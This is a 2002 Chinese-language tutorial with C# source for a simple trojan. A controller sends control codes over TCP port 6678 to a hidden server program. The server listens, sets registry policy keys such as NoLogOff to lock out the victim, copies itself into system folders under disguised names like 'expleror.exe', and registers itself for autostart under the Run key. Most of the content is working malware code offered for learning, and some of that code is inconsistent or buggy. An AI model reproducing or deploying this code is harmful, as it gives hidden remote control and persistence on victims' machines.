用C#實現木馬程序(分析)

前一段時間我寫了一個關於用C#木馬的程序(程序見前),抱歉沒有寫分析,讓大家難過了,現在補上:)。
  前言:
  我的技術不是很好,如果你是爲了學習木馬技術也許沒有什麼啓發,這篇文章爲了給學習C#的朋友。
  木馬的介紹:(參照黑客防線2000-2001精華本中的木馬原理揭祕)
   因爲本程序是木馬程序,所以在介紹之前有一些木馬構成的基本知識事先說明,因爲下面很多地方會提到這些內容。一個完整的木馬系統由硬件部分,軟件部分和具體連接部分組成。這裏主要對軟件部分介紹,它主要有控制端程序、木馬程序(後臺服務程序)、木馬配製程序組成。控制端用以遠程控制服務端的程序;木馬程序是潛入服務端內部,獲取其操作權限的程序;木馬配製程序是設置木馬程序的端口號,觸發條件,木馬名稱等,使其在服務端藏的更隱蔽的程序。
  使用的技術:
控制端程序發送控制碼控制服務器,服務器後臺運行,修改註冊表達到控制的目的。技術不是很難的,主要體現C#的網絡編程和註冊表的修改。
控制端開發:
   控制端向服務器發出一段控制碼,服務端(木馬程序)收到控制碼後,根據控制的要求,完成指定的要求,如果服務器完成工作,返回成功的信息。
控制端的開發:
控制碼的設定你可以自已設定,不需要詳解,主要有以下幾個難點。
1 連接請求
使用了.NET類中的 System.Net.Sockets.TcpClient類,
TcpClient(string hostname,int port)
Hostname 是要控制的主機名稱,當然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件數據類的基類
private void button7_Click(object sender, System.EventArgs e)
        {
              //記錄操作,在richTextBox控件中增加操作信息
            richTextBox1.AppendText("請求連接" +textBox1.Text +"/r");
            int port =6678;
            try  
            {
                //初始化 TcpClient 類的新實例並連接到指定主機上的指定端口
                client = new TcpClient(textBox1.Text,port);
            }
            catch    
            {
                MessageBox.Show("服務器不在線!確定是否輸入主機名稱.");
                richTextBox1.AppendText("服務器不在線!確定是否輸入主機名稱.");
            }
     }//private void buttion
2測試是否與被控制機連接上。程序的流程是發送控制碼看控制端是否有反應,如果有返回則顯示控制成功。
//提供網絡訪問的數據流
        //private NetworkStream stream;
代碼如下:
private void button8_Click(object sender, System.EventArgs e)
        {
              //紀錄操作
            richTextBox1.AppendText("測試連接" +"/r");
            try
            {
                
                stream = client.GetStream();
                if(stream.CanWrite)
                {
                        //發送控制碼
                   string control = "jiance";
                   byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
                   stream.Write(by,0,by.Length);
                    //下次使用
                   stream.Flush();
//啓動接收反回數據的線程
//receive是線程執行的函數,見後面的分析
                   threadReceive = new Thread(new ThreadStart(receive));
                   threadReceive.Start();
                }
            }
            catch(Exception ee)
            {
                richTextBox1.AppendText (ee.Message+"/r");
                MessageBox.Show(ee.Message);
            }
}
3控制生效的代碼
private void button9_Click(object sender, System.EventArgs e)
        {
             //這裏是確定要發送的控制碼,RadioButton是窗體控件
            if(radioButton1.Checked){ control = form2.zhucex;}
            else if(radioButton2.Checked){ control =form3.zhuces;}
            else if(radioButton3.Checked){ control = warring;}
            else if(radioButton4.Checked){ control =suggest;}
            else if(radioButton5.Checked){ control =form4.mumawe;}
            else if(radioButton6.Checked){ control =drop;}
            if (control =="000000")
            {
                MessageBox.Show("你沒有輸入任何控制目標!不發控制信號");
                richTextBox1.AppendText("你沒有輸入任何控制目標!不發控制信號");
            }
            else if(control != "000000")
            {
                try
                {
                        //記錄操作
                richTextBox1.AppendText (control + "正在試圖控制,等待迴應......" + "/r");
                    stream = client.GetStream();
                    if(stream.CanWrite )
                    {
                    byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
                        stream.Write(by,0,by.Length);
                        stream.Flush();
                        threadReceive =new Thread(new ThreadStart(receive));
                        threadReceive.Start();
                    }//endif
                }//try
                catch
                {
                    richTextBox1.AppendText("服務器未連接1控制無效!" +"/r");
                    MessageBox.Show("服務器未連接1控制無效!" +"/r");
                }
            }//else if
}
    
4線程執行的函數
private void receive()
        {
             //設置讀取數據的空間
            byte[] bb = new byte[3];
             //讀取3個字節,i爲實際讀取的字節數
            int i = stream.Read(bb,0,3);
             //轉換成字符串,如果是中文控制碼則用string ss = //System.Text.Encoding.Unicode.GetString(bb);
            string ss = System.Text.Encoding.ASCII.GetString(bb);
             //hjc爲我設置的服務器的返回碼 hjc爲連接成功,hkz爲控制成功
            if(ss=="hjc")
            {
                MessageBox.Show("連接成功");
                richTextBox1.AppendText("連接成功");
            }
            if(ss== "hkz")
            {
                richTextBox1.AppendText(control +"控制成功"+"/r");
                MessageBox.Show(control +"控制成功"+"/r");
            }
}
服務端的開發:
    要實現木馬服務的程序,主要實現以下幾個功能:後臺的運行(隱藏技術),控制碼的接收與註冊表的修改,下面對這三方面做介紹:
1.在VC#中,建立一個後臺服務程序是很容易的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過爲了隱藏可使用與系統相近的名稱),將窗體屬性“ShowInTaskbar”屬性設爲false,讓它運行時不會在任務欄中顯示,並將屬性“Windowstate”屬性設爲Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:
private void InitializeComponent()
        {
            //
            // Form1
            //
               //窗體顯示的起點和大小
            this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
            this.ClientSize = new System.Drawing.Size(368, 357);
              //窗體名稱
            this.Name = "Form1";
              //設置屬性讓它後臺運行
            this.ShowInTaskbar = false;
            this.Text = "Form1";
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2. 控制代碼的接收,必需在服務程序運行開始就啓動,所以偵聽線程必需在程序初始化中啓動,所以放在窗體的構造函數中,代碼註解如下:
public Form1()      //窗體的構造函數
        {
            //
            // Windows 窗體設計器支持所必需的
            //
            InitializeComponent();

            //
            // TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
            //加入你的偵聽代碼
            //端口你可以自已設定,我使用了固定的端口
            int port  =6678;
            //System.Net.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的
            listener = new TcpListener(port);
            //啓動偵聽
            listener.Start();
            //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
//reControlCode 是線程啓動執行的函數,此函數根據接收的控制
//控制碼選取合適的註冊表修改函數
            Thread thread = new Thread(new ThreadStart(reControlCode));
            thread.Start();
    }
reControlCode函數如下,完整代碼見程序
private void reControlCode()
        {
             //設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
            socket = listener.AcceptSocket();
             //如果連接成功執行
            while (socket.Connected)
            {
                   //接收控制碼
                byte [] by =new byte[6];
                int i = socket.Receive(by,by.Length ,0);
                string ss = System.Text.Encoding.ASCII.GetString(by);
                //根據控制碼執行不同的功能
                
                //修改註冊表加入編碼
                switch (ss)
                {
case "jiance"://測試連接,返回測試信息
                        string str ="hjc";
                        byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
                        socket.Send(bytee,0,bytee.Length,0);
                        break;
                    case "zx1000":
                               //修改註冊表函數,自已定義,見下面分析
                            UnLogOff();
                               //返回控制消息
                           retMessage();
                           break;

                    case  "zx0100":
                                //修改註冊表函數
                            UnClose();
                                //返回控制消息
                            retMessage();
                            break;
                          //重複的case功能與前面一樣,略掉
                         default:
                                break;
                }//case
            }//while
        }  //private void reControlCode
3.C#中實現註冊表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統註冊表進行操作的類。下面就可以看到它的用法。這裏我做了一個修改註冊表的子程序:使計算機不能註銷。在這之前先了解註冊表,在子鍵SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面設鍵值NoLogOff 爲 1 即可使計算機無法註銷。在下面的函數中用C#實現對註冊表的修改:
private void UnLogOff()
        {
               //得到主機的註冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個註冊表子鍵的變量
              RegistryKey key1;
            try
            {
                //函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
                //registrykey是用戶指定的鍵值,canwrite 爲true則可修改,默認爲fasle不可改
                key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
                 //設置子鍵的鍵名,和值
                key1.SetValue ("NoLogOff",1);
                 //關閉打開的子鍵
                key1.Close();
                 //警告字符串設定
                mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修改!請將它置爲0!";
            }
            catch{}
              //如果不存在自已建立
            if(key1 ==null)
            {
                try
                {
                       //使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵
                    RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
                    key2.SetValue("NoLogOff",1);
                    key2.Close();
                    mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修改!請將它置爲0!";
                }
                catch{}
            }
}
4.在木馬程序中還有一個重要的功能就是自我的複製和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C://winnnt//system//msdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和異步讀寫。這裏我們使用了System.IO.File類。
private void moveCC1()
        {
            try
            {
            //函數File.Move(string sourceFileName,string destFileName)起移動文件的作用
         //sourceFileName爲要移動的文件名,destFileName爲文件的新路徑
    File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
            }
            catch {}
              //將新移的木馬程序設爲自啓動.分析和前面一樣
            try
            {
                key1  = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
                key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
                key1.Close();
            }
            catch{}
            if(key1 ==null)
            {
                try
                {
                    RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
                    key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
                    key1.Close();
                }
                catch{}
            }
    } //moveCC1()
到這裏一個簡單的C#的木馬就完成了,如果有有疑問請到 www.vchelp.net論壇的C#或是.NET版面和我討論,或發信給我 [email protected],當然你也可以和黑防聯繫。
                                               落葉夏日  
                                                           2002-07-29
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